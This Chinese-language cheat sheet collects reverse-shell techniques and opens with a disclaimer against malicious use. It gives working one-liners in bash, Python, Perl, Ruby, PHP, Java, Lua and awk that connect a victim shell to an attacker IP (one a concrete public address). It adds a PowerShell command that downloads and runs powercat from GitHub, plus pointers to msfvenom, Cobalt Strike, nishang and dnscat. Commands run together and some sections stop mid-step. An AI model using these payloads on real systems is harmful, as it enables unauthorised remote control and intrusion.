|
声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。

Linux反弹shell总结
(1)Bash反弹
nc -lvvp 9999 #攻击者主机上执行监听注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
- 标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
- 标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
- 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>;
exec 5<>/dev/tcp/39.96.9.238/9999;cat <&5 | while read line; do $line 2>&5 >&5; done(2)telnet反弹
nc -lvvp 444 #攻击者主机上执行监听攻击者主机上打开两个终端分别执行监听:
nc -lvvp 4444监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。
(3) nc(netcat)反弹
nc -lvvp port(4)python 反弹
python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#34;x.x.x.x&#34;,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&#34;/bin/bash&#34;,&#34;-i&#34;]);&#39;(5)perl 反弹
perl -e &#39;use Socket;$i=&#34;x.x.x.x&#34;;$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&#34;tcp&#34;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&#34;>&S&#34;);open(STDOUT,&#34;>&S&#34;);open(STDERR,&#34;>&S&#34;);exec(&#34;/bin/sh -i&#34;);};&#39;(6)Ruby 反弹
ruby -rsocket -e &#39;exit if fork;c=TCPSocket.new(&#34;x.x.x.x&#34;,&#34;5555&#34;);while(cmd=c.gets);IO.popen(cmd,&#34;r&#34;){|io|c.print io.read}end&#39;(7) php 反弹
php -r &#39;$sock=fsockopen(&#34;x.x.x.x&#34;,5555);exec(&#34;/bin/bash -i <&3 >&3 2>&3&#34;);&#39;(8) Java 反弹
public class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime(); String cmd[]= {&#34;/bin/bash&#34;,&#34;-c&#34;,&#34;exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done&#34;}; Process p = r.exec(cmd); p.waitFor();}}(9) Lua 反弹
lua -e &#34;require(&#39;socket&#39;);require(&#39;os&#39;);t=socket.tcp();t:connect(&#39;x.x.x.x&#39;,&#39;5555&#39;);os.execute(&#39;/bin/sh -i <&3 >&3 2>&3&#39;);&#34;(10) awk反弹
awk &#39;BEGIN{s=&#34;/inet/tcp/0/192.168.99.242/1234&#34;;for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}&#39;

windows反弹shell总结
(1) nc(netcat)反弹
(netcat 下载:https://eternallybored.org/misc/netcat/)
nc -lvvp 9999 #攻击者主机上执行监听(2) powershell反弹
PS C:\WWW> powershell IEX (New-Object System.Net.Webclient).DownloadString(&#39;https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1&#39;); powercat -c 192.168.99.242 -p 1234 -e cmd下载到目标机器本地执行:
PS C:\WWW> Import-Module ./powercat.ps1(3) msf反弹shell
msfvenom -l payloads | grep &#39;cmd/windows/reverse&#39;(4) Cobalt strike反弹shell
1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。(5) nishang反弹shell
Reverse TCP shell:(6) Dnscat反弹shell (https://github.com/iagox86/dnscat2)
服务端: |
|